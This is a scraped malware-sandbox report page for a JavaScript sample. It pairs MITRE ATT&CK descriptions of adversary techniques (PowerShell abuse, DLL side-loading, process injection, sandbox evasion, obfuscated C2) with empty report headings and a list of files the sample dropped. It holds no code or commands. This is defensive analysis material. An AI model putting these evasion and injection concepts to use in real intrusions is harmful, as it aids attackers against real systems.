Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2640024673100216355.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7563a507-6e45-412c-b766-9a8c2dff2176.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2748

Windows Analysis Report
2640024673100216355.js